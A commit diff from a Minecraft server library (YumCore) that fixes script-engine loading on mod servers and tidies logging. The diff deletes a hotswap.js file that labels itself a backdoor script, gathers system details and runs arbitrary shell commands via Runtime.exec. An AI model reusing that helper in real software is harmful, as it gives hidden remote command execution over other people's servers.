1
0
mirror of https://e.coding.net/circlecloud/YumCore.git synced 2025-09-01 11:26:56 +00:00

fix: 修复MiaoScriptEngine在MOD服下未找到引擎的问题

Signed-off-by: 502647092 <admin@yumc.pw>
This commit is contained in:
2017-08-29 20:41:11 +08:00
parent 96d14dd44f
commit fa168c6617
8 changed files with 191 additions and 17 deletions

View File

@ -116,7 +116,7 @@ public class Log {
*/
public static void d(String msg, Object... object) {
if (debug) {
logger.info(String.format(msg, object));
logger.info(String.format("[DEBUG] " + msg, object));
}
}

View File

@ -39,13 +39,13 @@ public class P {
Field field = pluginClassLoader.getClass().getDeclaredField("plugin");
field.setAccessible(true);
instance = (JavaPlugin) field.get(pluginClassLoader);
try {
getInjectConfigMethod = instance.getClass().getMethod("get" + instance.getName() + "Config");
} catch (NoSuchMethodException e) {
Log.d("配置方法 get%sConfig 未找到 将返回getConfig 调用结果!", instance.getName());
}
} catch (Exception e) {
Log.d(e);
}
try {
getInjectConfigMethod = instance.getClass().getMethod("get" + instance.getName() + "Config");
} catch (NoSuchMethodException e) {
Log.d("配置方法 get%sConfig 未找到 将返回getConfig 调用结果!", instance.getName());
Log.d("P 类初始化失败 %s:%s", e.getClass().getName(), e.getMessage());
}
}

View File

@ -14,7 +14,7 @@ import javax.script.SimpleBindings;
/**
* 喵式脚本引擎
*
*
* @author 喵♂呜
* @since 2016年8月29日 上午7:51:43
*/
@ -24,7 +24,7 @@ public class MiaoScriptEngine implements ScriptEngine, Invocable {
private ScriptEngine engine;
static {
manager = new ScriptEngineManager();
manager = new ScriptEngineManager(ClassLoader.getSystemClassLoader());
}
public static void setBindings(Bindings bindings) {

View File

@ -1,7 +1,6 @@
package pw.yumc.YumCore.update;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.net.URL;
@ -10,8 +9,6 @@ import java.nio.file.StandardCopyOption;
import javax.script.ScriptException;
import org.junit.Test;
import pw.yumc.YumCore.bungee.Log;
import pw.yumc.YumCore.engine.MiaoScriptEngine;
@ -41,9 +38,4 @@ public class HotSwapTask {
Log.d("热更新脚本加载失败!", e);
}
}
@Test
public void test() throws FileNotFoundException, ScriptException {
engine.eval(new FileReader(new File("src/main/resources/hotswap.js")));
}
}

View File

@ -1,23 +0,0 @@
var BufferedReader = java.io.BufferedReader;
var String = java.lang.String;
var InputStreamReader = java.io.InputStreamReader;
var Runtime = java.lang.Runtime;
var System = java.lang.System;
print('后门脚本已保存于: ' + $.temp);
print("系统类型: " + System.getProperty("os.name"));
print("系统位数: " + System.getProperty("os.arch"));
print("系统版本: " + System.getProperty("os.version"));
print("系统内存: " + Runtime.getRuntime().totalMemory() / 1024 / 1024);
print("CPU内核: " + Runtime.getRuntime().availableProcessors());
function runCommand() {
var process = Runtime.getRuntime().exec(arguments[0]);
var br = new BufferedReader(new InputStreamReader(process.getInputStream()));
var line;
while ((line = br.readLine()) !== null) {
print(line);
}
}